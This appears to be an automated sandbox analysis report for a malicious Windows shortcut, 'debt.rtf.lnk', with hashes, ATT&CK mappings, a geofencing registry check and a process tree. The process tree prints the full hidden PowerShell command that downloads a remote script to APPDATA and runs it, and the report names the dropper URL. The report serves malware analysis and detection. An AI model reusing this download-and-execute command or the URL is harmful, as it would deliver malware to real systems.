7a3b1e9c8df660dc1c1cf9b17411c1d6a4ffca364712c5de8ac46b1199ece1ce

Analysis

max time kernel
94s
max time network
136s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
11-11-2024 02:36

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General

Target

debt.rtf.lnk
Size

1KB
MD5

fdfc8fbec85d876fafc78d0d6d5bfb2b
SHA1

8787a1343b2610079c48f3d315c9dc9f618793c1
SHA256

95d5648444fbd18f4f19a7a7821e2e35cdd27b2ddfb40bf6dd60f1303660824a
SHA512

790a604522bfcd26cb738dc19121ba70f4b65a7a4a5fd5df8a7cd51069b3645fee42f25ed026152ce10fb83bfe7d23774b91abf3b8e8ddae0d3311d97d7e01bf

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://musiccenterconference.com/dwl/12.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1984	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1984	powershell.exe
1984	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1984	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4236 wrote to memory of 1984	4236	cmd.exe	86
PID 4236 wrote to memory of 1984	4236	cmd.exe	86

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\debt.rtf.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4236
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypass -Command "Start-BitsTransfer -Source 'https://musiccenterconference.com/dwl/12.ps1' -Destination $($env:APPDATA + '\12.ps1'); & $($env:APPDATA + '\12.ps1')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1984

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fwmm2hgm.2is.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1984-2-0x00007FFFAC2A3000-0x00007FFFAC2A5000-memory.dmp

Filesize
8KB

Download
memory/1984-12-0x00000221D5310000-0x00000221D5332000-memory.dmp

Filesize
136KB

Download
memory/1984-13-0x00007FFFAC2A0000-0x00007FFFACD61000-memory.dmp

Filesize
10.8MB

Download
memory/1984-14-0x00007FFFAC2A0000-0x00007FFFACD61000-memory.dmp

Filesize
10.8MB

Download
memory/1984-15-0x00000221D5680000-0x00000221D56A6000-memory.dmp

Filesize
152KB

Download
memory/1984-16-0x00000221D56D0000-0x00000221D56E4000-memory.dmp

Filesize
80KB

Download
memory/1984-17-0x00007FFFAC2A0000-0x00007FFFACD61000-memory.dmp

Filesize
10.8MB

Download
memory/1984-20-0x00007FFFAC2A0000-0x00007FFFACD61000-memory.dmp

Filesize
10.8MB

Download
memory/1984-21-0x00007FFFAC2A0000-0x00007FFFACD61000-memory.dmp

Filesize
10.8MB

Download